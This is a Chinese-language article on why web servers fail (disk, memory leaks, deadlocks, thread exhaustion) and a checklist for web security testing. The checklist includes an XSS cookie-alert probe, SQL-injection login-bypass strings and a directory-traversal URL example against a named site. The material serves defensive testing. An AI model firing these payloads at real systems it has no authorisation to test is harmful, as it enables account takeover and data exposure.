導致系統無法正常執行的最可能的原因是磁碟已滿。一個好的網路管理員會密切關注磁碟的使用情況，隔一定的時間，就需要將磁碟上的一些負載轉存到備份儲存介質中（例如磁帶）。
日誌檔案會很快用光所有的磁碟空間。Web伺服器的日誌檔案、SQL*Net的日誌檔案、JDBC日誌檔案，以及應用程式伺服器日誌檔案均與記憶體洩漏有同等的危害。可以採取措施將日誌檔案儲存在與作業系統不同的檔案系統中。日誌檔案系統空間已滿時Web伺服器也會被掛起，但機器自身被掛起的機率已大大減低。
C指標錯誤
用C或C++編寫的程式，如Web伺服器API模組，有可能導致系統的崩潰，因為只要間接引用指標（即，訪問指向的記憶體）中出現一個錯誤，就會導致作業系統終止所有程式。另外，使用了糟糕的C指標的Java模擬量（analog）將訪問一個空的物件引用。Java中的空引用通常不會導致立刻退出JVM，但是前提是程式設計師能夠使用異常處理方法恰當地處理錯誤。在這方面，Java無需過多的關注，但使用 Java對可靠性進行額外的度量則會對效能產生一些負面影響。
記憶體洩漏
C/C++程式還可能產生另一個指標問題：丟失對已分配記憶體的引用。當記憶體是在子程式中被分配時，通常會出現這種問題，其結果是程式從子程式中返回時不會釋放記憶體。如此一來，對已分配的記憶體的引用就會丟失，只要作業系統還在執行中，則程式就會一直使用該記憶體。這樣的結果是，曾佔用更多的記憶體的程式會降低系統效能，直到機器完全停止工作，才會完全清空記憶體。
解決方案之一是使用程式碼分析工具（如Purify）對程式碼進行仔細分析，以找出可能出現的洩漏問題。但這種方法無法找到由其他原因引起的庫中的洩漏，因為庫的原始碼是不可用的。另一種方法是每隔一段時間，就清除並重啟程式。Apache的Web伺服器就會因這個原因建立和清除子程式。
雖然Java本身並無指標，但總的說來，與C程式相比， Java程式使用記憶體的情況更加糟糕。在Java中，物件被頻繁建立，而直到所有到物件的引用都消失時，垃圾回收程式才會釋放記憶體。即使執行了垃圾回收程式，也只會將記憶體還給虛擬機器VM，而不是還給作業系統。結果是：Java程式會用光給它們的所有堆，從不釋放。由於要儲存實時（Just InTime，JIT）編譯器產生的程式碼，Java程式的大小有時可能會膨脹為最大堆的數倍之巨。
還有一個問題，情況與此類似。從連線池分配一個資料庫連線，而無法將已分配的連線還回給連線池。一些連線池有活動計時器，在維持一段時間的靜止狀態之後，計時器會釋放掉資料庫連線，但這不足以緩解糟糕的程式碼快速洩漏資料庫連線所造成的資源浪費。
程式缺乏檔案描述符
如果已為一臺Web伺服器或其他關鍵程式分配了檔案描述符，但它卻需要更多的檔案描述符，則伺服器或程式會被掛起或報錯，直至得到了所需的檔案描述符為止。檔案描述符用來保持對開放檔案和開放套接字的跟蹤記錄，開放檔案和開放套接字是Web伺服器很關鍵的組成部分，其任務是將檔案複製到網路連線。預設時，大多數shell有64個檔案描述符，這意味著每個從shell啟動的程式可以同時開啟64個檔案和網路連線。大多數shell都有一個內嵌的 ulimit命令可以增加檔案描述符的數目。
執行緒死鎖
由多執行緒帶來的效能改善是以可靠性為代價的，主要是因為這樣有可能產生執行緒死鎖。執行緒死鎖時，第一個執行緒等待第二個執行緒釋放資源，而同時第二個執行緒又在等待第一個執行緒釋放資源。我們來想像這樣一種情形：在人行道上兩個人迎面相遇，為了給對方讓道，兩人同時向一側邁出一步，雙方無法通過，又同時向另一側邁出一步，這樣還是無法通過。雙方都以同樣的邁步方式堵住了對方的去路。假設這種情況一直持續下去，這樣就不難理解為何會發生死鎖現象了。
解決死鎖沒有簡單的方法，這是因為使執行緒產生這種問題是很具體的情況，而且往往有很高的負載。大多數軟體測試產生不了足夠多的負載，所以不可能暴露所有的執行緒錯誤。在每一種使用執行緒的語言中都存線上程死鎖問題。由於使用Java進行執行緒程式設計比使用C容易，所以 Java程式設計師中使用執行緒的人數更多，執行緒死鎖也就越來越普遍了。可以在Java程式碼中增加同步關鍵字的使用，這樣可以減少死鎖，但這樣做也會影響效能。如果負載過重，資料庫內部也有可能發生死鎖。
如果程式使用了永久鎖，比如鎖檔案，而且程式結束時沒有解除鎖狀態，則其他程式可能無法使用這種型別的鎖，既不能上鎖，也不能解除鎖。這會進一步導致系統不能正常工作。這時必須手動地解鎖。
伺服器超載
NetscapeWeb伺服器的每個連線都使用一個執行緒。NetscapeEnterprise Web伺服器會線上程用完後掛起，而不為已存在的連線提供任何服務。如果有一種負載分佈機制可以檢測到伺服器沒有響應，則該伺服器上的負載就可以分佈到其它的 Web伺服器上，這可能會致使這些伺服器一個接一個地用光所有的執行緒。這樣一來，整個伺服器組都會被掛起。作業系統級別可能還在不斷地接收新的連線，而應用程式（Web伺服器）卻無法為這些連線提供服務。使用者可以在瀏覽器狀態行上看到connected（已連線）的提示訊息，但這以後什麼也不會發生。
解決問題的一種方法是將obj.conf引數RqThrottle的值設定為執行緒數目之下的某個數值，這樣如果越過RqThrottle的值，就不會接收新的連線。那些不能連線的伺服器將會停止工作，而連線上的伺服器的響應速度則會變慢，但至少已連線的伺服器不會被掛起。這時，檔案描述符至少應當被設定為與執行緒的數目相同的數值，否則，檔案描述符將成為一個瓶頸。
資料庫中的臨時表不夠用
許多資料庫的臨時表（cursor）數目都是固定的，臨時表即保留查詢結果的記憶體區域。在臨時表中的資料都被讀取後，臨時表便會被釋放，但大量同時進行的查詢可能耗盡數目固定的所有臨時表。這時，其他的查詢就需要列隊等候，直到有臨時表被釋放時才能再繼續執行。
這是一個不容易被程式設計師發覺的問題，但會在負載測試時顯露出來。但可能對於資料庫管理員（DataBaseAdministrator，DBA）來說，這個問題十分明顯。
此外，還存在一些其他問題：設定的表空間不夠用、序號限制太低，這些都會導致表溢位錯誤。這些問題表明了一個好的DBA對用於生產的資料庫設定和效能進行定期檢查的重要性。而且，大多數資料庫廠商也提供了監控和建模工具以幫助解決這些問題。
另外，還有許多因素也極有可能導致Web站點無法工作。如：相關性、子網流量超載、糟糕的裝置驅動程式、硬體故障、包括錯誤檔案的萬用字元、無意間鎖住了關鍵的表。
如何做好網站的安全性測試
安全性保護資料以防止不合法使用者故意造成的破壞；
完整性保護資料以防止合法使用者無意中造成的破壞；
安全性測試（security testing）是有關驗證應用程式的安全服務和識別潛在安全性缺陷的過程。
注意：安全性測試並不最終證明應用程式是安全的，而是用於驗證所設立策略的有效性，這些對策是基於威脅分析階段所做的假設而選擇的。
一個完整的WEB安全性測試可以從部署與基礎結構、輸入驗證、身份驗證、授權、配置管理、敏感資料、會話管理、加密。引數操作、異常管理、稽核和日誌記錄等幾個方面入手。
1.安全體系測試
1)部署與基礎結構
網路是否提供了安全的通訊
部署拓撲結構是否包括內部的防火牆
部署拓撲結構中是否包括遠端應用程式伺服器
基礎結構安全性需求的限制是什麼
目標環境支援怎樣的信任級別
2)輸入驗證
l如何驗證輸入
A.是否清楚入口點
B.是否清楚信任邊界
C.是否驗證Web頁輸入
D.是否對傳遞到元件或Web服務的引數進行驗證
E.是否驗證從資料庫中檢索的資料
F.是否將方法集中起來
G.是否依賴客戶端的驗證
H.應用程式是否易受SQL隱碼攻擊
I.應用程式是否易受XSS攻擊
l如何處理輸入
3)身份驗證
是否區分公共訪問和受限訪問
是否明確服務帳戶要求
如何驗證呼叫者身份
如何驗證資料庫的身份
是否強制試用帳戶管理措施
4)授權
如何向終端使用者授權
如何在資料庫中授權應用程式
如何將訪問限定於系統級資源
5)配置管理
是否支援遠端管理
是否保證配置儲存的安全
是否隔離管理員特權
6)敏感資料
是否儲存機密資訊
如何儲存敏感資料
是否在網路中傳遞敏感資料
是否記錄敏感資料
7)會話管理
如何交換會話識別符號
是否限制會話生存期
如何確保會話儲存狀態的安全
8)加密
為何使用特定的演算法
如何確保加密金鑰的安全性
9)引數操作
是否驗證所有的輸入引數
是否在引數過程中傳遞敏感資料
是否為了安全問題而使用HTTP頭資料
10)異常管理
是否使用結構化的異常處理
是否向客戶端公開了太多的資訊
11)稽核和日誌記錄
是否明確了要稽核的活動
是否考慮如何流動原始呼叫這身份
2.應用及傳輸安全
WEB應用系統的安全性從使用角度可以分為應用級的安全與傳輸級的安全，安全性測試也可以從這兩方面入手。
應用級的安全測試的主要目的是查詢Web系統自身程式設計中存在的安全隱患，主要測試區域如下。
註冊與登陸：現在的Web應用系統基本採用先註冊，後登入的方式。
A.必須測試有效和無效的使用者名稱和密碼
B.要注意是否存在大小寫敏感，
C.可以嘗試多少次的限制
D.是否可以不登入而直接瀏覽某個頁面等。
線上超時：Web應用系統是否有超時的限制，也就是說，使用者登陸一定時間內（例如15分鐘）沒有點選任何頁面，是否需要重新登陸才能正常使用。
操作留痕：為了保證Web應用系統的安全性，日誌檔案是至關重要的。需要測試相關資訊是否寫進入了日誌檔案，是否可追蹤。
備份與恢復：為了防範系統的意外崩潰造成的資料丟失，備份與恢復手段是一個Web系統的必備功能。備份與恢復根據Web系統對安全性的要求可以採用多種手段，如資料庫增量備份、資料庫完全備份、系統完全備份等。出於更高的安全性要求，某些實時系統經常會採用雙機熱備或多級熱備。除了對於這些備份與恢復方式進行驗證測試以外，還要評估這種備份與恢復方式是否滿足Web系統的安全性需求。
傳輸級的安全測試是考慮到Web系統的傳輸的特殊性，重點測試資料經客戶端傳送到伺服器端可能存在的安全漏洞，以及伺服器防範非法訪問的能力。一般測試專案包括以下幾個方面。
HTTPS和SSL測試：預設的情況下，安全HTTP（Soure HTTP）通過安全套接字SSL（Source Socket Layer）協議在埠443上使用普通的HTTP。HTTPS使用的公共金鑰的加密長度決定的HTTPS的安全級別，但從某種意義上來說，安全性的保證是以損失效能為代價的。除了還要測試加密是否正確，檢查資訊的完整性和確認HTTPS的安全級別外，還要注意在此安全級別下，其效能是否達到要求。
伺服器端的指令碼漏洞檢查：存在於伺服器端的指令碼常常構成安全漏洞，這些漏洞又往往被黑客利用。所以，還要測試沒有經過授權，就不能在伺服器端放置和編輯指令碼的問題。
防火牆測試：防火牆是一種主要用於防護非法訪問的路由器，在Web系統中是很常用的一種安全系統。防火牆測試是一個很大很專業的課題。這裡所涉及的只是對防火牆功能、設定進行測試，以判斷本Web系統的安全需求。
另推薦安全性測試工具：
Watchfire AppScan：商業網頁漏洞掃描器(此工具好像被IBM收購了，所以推薦在第一位)
AppScan按照應用程式開發生命週期進行安全測試，早在開發階段就進行單元測試和安全保證。Appscan能夠掃描多種常見漏洞，例如跨網站指令碼、HTTP應答切開、引數篡改、隱藏值篡改、後門/除錯選項和緩衝區溢位等等。
Acunetix Web Vulnerability Scanner：商業漏洞掃描器
Acunetix WVS自動檢查您的網頁程式漏洞，例如SQL隱碼攻擊、跨網站指令碼和驗證頁面弱密碼破解。Acunetix WVS有著非常友好的使用者介面，還可以生成個性化的網站安全評估報告。
黑盒主要測試點
使用者管理模組，許可權管理模組，加密系統，認證系統等
工具使用
Appscan（首要）、Acunetix Web Vulnerability Scanner（備用）、HttpAnalyzerFull、TamperIESetup
木桶原理
安全性最低的模組將成為瓶頸，需整體提高
（一）可手工執行或工具執行
輸入的資料沒有進行有效的控制和驗證
使用者名稱和密碼
直接輸入需要許可權的網頁地址可以訪問
上傳檔案沒有限制（此次不需要）
不安全的儲存
操作時間的失效性
1.1）輸入的資料沒有進行有效的控制和驗證
資料型別（字串，整型，實數，等）
允許的字符集
最小和最大的長度
是否允許空輸入
引數是否是必須的
重複是否允許
數值範圍
特定的值（列舉型）
特定的模式（正規表示式）（注：建議儘量採用白名單）
1.22）使用者名稱和密碼-2
檢測介面程式連線登入時，是否需要輸入相應的使用者
是否設定密碼最小長度（密碼強度）
使用者名稱和密碼中是否可以有空格或回車？
是否允許密碼和使用者名稱一致
防惡意註冊：可否用自動填表工具自動註冊使用者？ （傲遊等）
遺忘密碼處理
有無預設的超級使用者?（admin等，關鍵字需遮蔽）
有無超級密碼?
是否有校驗碼？
密碼錯誤次數有無限制？
大小寫敏感？
口令不允許以明碼顯示在輸出裝置上
強制修改的時間間隔限制（初始預設密碼）
口令的唯一性限制（看需求是否需要）
口令過期失效後，是否可以不登陸而直接瀏覽某個頁面
哪些頁面或者檔案需要登入後才能訪問/下載
cookie中或隱藏變數中是否含有使用者名稱、密碼、userid等關鍵資訊
1.3）直接輸入需要許可權的網頁地址可以訪問
避免研發只是簡單的在客戶端不顯示許可權高的功能項
舉例Bug：
沒有登入或登出登入後，直接輸入登入後才能檢視的頁面的網址（含跳轉頁面），能直接開啟頁面；
登出後，點瀏覽器上的後退，可以進行操作。
正常登入後，直接輸入自己沒有許可權檢視的頁面的網址，可以開啟頁面。
通過Http抓包的方式獲取Http請求資訊包經改裝後重新傳送
從許可權低的頁面可以退回到高的頁面（如傳送訊息後，瀏覽器後退到資訊填寫頁面，這就是錯誤的）
1.4）上傳檔案沒有限制（此次不需要）
傳檔案還要有大小的限制。
上傳木馬病毒等（往往與許可權一起驗證）
上傳檔案最好要有格式的限制；
1.5）不安全的儲存
在頁面輸入密碼，頁面應顯示 “*****”；
資料庫中存的密碼應經過加密；
位址列中不可以看到剛才填寫的密碼；
右鍵檢視原始檔不能看見剛才輸入的密碼；
帳號列表：系統不應該允許使用者瀏覽到網站所有的帳號，如果必須要一個使用者列表，推薦使用某種形式的假名（螢幕名）來指向實際的帳號
1.6）操作時間的失效性
檢測系統是否支援操作失效時間的配置，同時達到所配置的時間內沒有對介面進行任何操作時，檢測系統是否會將使用者自動失效，需要重新登入系統。
支援操作失效時間的配置。
支援當使用者在所配置的時間內沒有對介面進行任何操作則該應用自動失效。
如，使用者登陸後在一定時間內（例如15 分鐘）沒有點選任何頁面，是否需要重新登陸才能正常使用。
（二）藉助工具或瞭解後手工來進行測試
不能把資料驗證寄希望於客戶端的驗證
不安全的物件引用，防止XSS攻擊
注入式漏洞（SQL隱碼攻擊）
傳輸中與儲存時的密碼沒有加密 ，不安全的通訊
目錄遍歷
2.1）不能把資料驗證寄希望於客戶端的驗證
避免繞過客戶端限制（如長度、特殊字元或指令碼等），所以在伺服器端驗證與限制
客戶端是不安全，重要的運算和演算法不要在客戶端執行。
Session與cookie
例：儲存網頁並對網頁進行修改，使其繞過客戶端的驗證。
（如只能選擇的下拉框，對輸入資料有特殊要求的文字框）
還可以檢視cookie中記錄，偽造請求
測試中，可使用TamperIESetup來繞過客戶端輸入框的限制
2.21）不安全的物件引用，防止XSS等攻擊
阻止帶有語法含義的輸入內容，防止Cross Site Scripting (XSS) Flaws 跨站點指令碼攻擊（XSS）
防止Cross-site request forgery（CSRF）跨站請求偽造
xss解釋：不可信的內容被引入到動態頁面中，沒有識別這種情況並採取保護措施。攻擊者可在網上提交可以完成攻擊的指令碼，普通使用者點選了網頁上這些攻擊者提交的指令碼，那麼就會在使用者客戶機上執行，完成從截獲帳戶、更改使用者設定、竊取和篡改 cookie 到虛假廣告在內的種種攻擊行為
測試方法：在輸入框中輸入下列字元，可直接輸入指令碼來看
HTML標籤：<…>…</…>
轉義字元：&(&)；<(<)；>(>)； (空格) ；
指令碼語言：<script>alert(document.cookie);</script>
特殊字元：‘ ’ <>/
最小和最大的長度
是否允許空輸入
對Grid、Label、Tree view類的輸入框未作驗證，輸入的內容會按照html語法解析出來，要控制指令碼注入的語法要素。比如：javascript離不開：“<”、“>”、“(”、“）”、“;”. 在輸入或輸出時對其進行字元過濾或轉義處理
2.23）注入式漏洞（SQL隱碼攻擊）
對資料庫等進行注入攻擊。
例：一個驗證使用者登陸的頁面，
如果使用的sql語句為：
Select * from table A
where username＝’’ + username+’’ and pass word …..
則在Sql語句後面輸入 ‘ or 1＝1 ―― 就可以不輸入任何password進行攻擊
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a' AND password='a' or 'a'='a'
(資料太多，不顯示了此處，藉助工具Appscan等吧)
2.24）傳輸中與儲存時的密碼沒有加密
利用ssl來進行加密，在位於HTTP層和TCP層之間，建立使用者與伺服器之間的加密通訊
進入一個SSL站點後，可以看到瀏覽器出現警告資訊，然後位址列的http變成https （特點確定）
證照認證
————————————————————————
檢查資料庫中的使用者密碼、管理者密碼等欄位是否是以加密方式儲存。
儲存資料庫單獨隔離，有備份的資料庫，許可權唯一
2.25）目錄遍歷
舉例：
http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
那現在把這個ＵＲＬ改裝一下：
http://love.ah163.net/Personal_S ... /local/apache/conf/
/usr/local/apache/conf/裡的所有檔案都出來了
簡要的解決方案:
１、限制Web應用在伺服器上的執行 ，格設定WEB伺服器的目錄訪問許可權
２、進行嚴格的輸入驗證，控制使用者輸入非法路徑，如在每個目錄訪問時有index.htm
（三）研發或使用工具才能進行
認證和會話資料不能作為GET的一部分來傳送
隱藏域與CGI引數
不恰當的異常處理
不安全的配置管理
緩衝區溢位
拒絕服務
日誌完整性、可審計性與可恢復性
3.1）Get or post
認證和會話資料不應該作為GET的一部分來傳送，應該使用POST
例：對Grid、Label、Tree view類的輸入框未作驗證，輸入的內容會按照html語法解析出來
可使用TamperIESetup或ScannerHttpAnalyzerFull來判斷
3.2）隱藏域與CGI引數
Bug舉例：
分析：隱藏域中洩露了重要的資訊，有時還可以暴露程式原始碼。
直接修改CGI引數，就能繞過客戶端的驗證了。
如：<inputtype="hidden" name="h" value="http://XXX/checkout.php">
只要改變value的值就可能會把程式的原始碼顯示出來。
如大小寫，編碼解碼，附加特殊字元或精心構造的特殊請求等都可能導致CGI原始碼洩露
可使用appscan或sss等來檢測，檢查特殊字符集
3.3）不恰當的異常處理
分析：程式在丟擲異常的時候給出了比較詳細的內部錯誤資訊，暴露了不應該顯示的執行細節，網站存在潛在漏洞，有可能會被攻擊者分析出網路環境的結構或配置
通常為其他攻擊手段的輔助定位方式
舉例：如www.c**w.com ，搜尋為空時，，資料庫顯示出具體錯誤位置，可進行sql注入攻擊或關鍵字猜測攻擊
3.4）不安全的配置管理
分析：Config中的連結字串以及使用者資訊，郵件，資料儲存資訊都需要加以保護
配置所有的安全機制，
關掉所有不使用的服務，
設定角色許可權帳號，
使用日誌和警報。
手段：使用者使用緩衝區溢位來破壞web應用程式的棧，通過傳送特別編寫的程式碼到web程式中，攻擊者可以讓web應用程式來執行任意程式碼
例：資料庫的帳號是不是預設為“sa”，密碼（還有埠號）是不是直接寫在配置檔案裡而沒有進行加密。
3.5）緩衝區溢位
WEB伺服器沒有對使用者提交的超長請求沒有進行合適的處理，這種請求可能包括超長URL，超長HTTP Header域，或者是其它超長的資料
使用類似於“strcpy()，strcat()”不進行有效位檢查的函式，惡意使用者編寫一小段程式來進一步開啟安全缺口，然後將該程式碼放在緩衝區有效載荷末尾，這樣，當發生緩衝區溢位時，返回指標指向惡意程式碼
使用者使用緩衝區溢位來破壞web應用程式的棧，通過傳送特別編寫的程式碼到web程式中，攻擊者可以讓web應用程式來執行任意程式碼。
如apach緩衝區溢位等錯誤，第三方軟體也需檢測
3.6）拒絕服務
手段：超長URL，特殊目錄，超長HTTP Header域，畸形HTTP Header域或者是DOS裝置檔案
分析：攻擊者可以從一個主機產生足夠多的流量來耗盡狠多應用程式，最終使程式陷入癱瘓。需要做負載均衡來對付。
詳細如：死亡之ping、淚滴（Teardorop）、 UDP洪水（UDP Flood）、 SYN洪水（SYN Flood）、 Land攻擊、Smurf攻擊、Fraggle攻擊、 畸形訊息攻擊
3.7）日誌完整性。可審計性與可恢復性
伺服器端日誌：檢測系統執行時是否會記錄完整的日誌。
如進行詳單查詢，檢測系統是否會記錄相應的操作員、操作時間、系統狀態、操作事項、IP地址等
檢測對系統關鍵資料進行增加、修改和刪除時，系統是否會記錄相應的修改時間、操作人員和修改前的資料記錄。
工具篇
Watchfire Appscan——全面自動測試工具
Acunetix Web Vulnerability ——全面自動測試工具
ScannerHttpAnalyzerFull——載入網頁時可判斷
TamperIESetup——提交表單時改造資料
注：上述工具最好安裝在虛擬機器中，不影響實際機環境
Appscan、 Web Vulnerability 需安裝.net framework，可能與sniffer衝突
ScannerHttpAnalyzerFul與TamperIESetup會影響實際機瀏覽器平時的功能測試
相關文章
- Web安全性測試Web
- 什麼是web安全性測試？Web
- 測試面試-測試用例面試
- 測試用例
- 基於LangChain手工測試用例轉Web自動化測試生成工具LangChainWeb
- 【5】測試用例
- 手工測試用例與自動化測試用例的區別
- Web自動化-Selenium自動化測試-4-編寫測試用例Web
- postman寫測試用例Postman
- IOS測試用例例子iOS
- 測試用例的方法
- 黑盒測試用例二
- 面經-測試用例
- 【轉】測試用例編寫(功能測試框架)框架
- 程式碼測試用例指南
- 測試用例設計指南
- 測試用例最佳實踐
- 使用JMeter測試Web應用JMeterWeb
- APP測試設計測試用例的要點APP
- 建立測試用例以及測試結果儲存
- httprunner 4.x學習 - 12 測試用例引用另一個測試用例HTTP
- 介面測試用例編寫和測試關注點
- Web應用程式完全測試指南Web
- 《WEB應用測試》筆記（五）Web筆記
- python TestCase測試用例怎麼用Python
- teprunner測試平臺測試計劃批量執行用例
- 『測試基礎』| 如何理解測試用例管理和缺陷管理？
- web自動化測試框架-05 建立資料驅動的測試用例，Doc String與Data TableWeb框架
- httprunner（4）錄製生成測試用例HTTP
- 軟體測試用例設計方法
- Python 禪道測試用例助手Python
- 黑盒測試用例設計方法三
- 提高應用程式安全性的測試和方法有哪些?
- 運用 Hacking APIs GPT 進行 API 安全性測試APIGPT
- 【cypress】5. 測試本地web應用Web
- web應用安全測試之業務漏洞Web
- Web應用滲透測試框架ArachniWeb框架
- Web應用掃描測試工具VegaWeb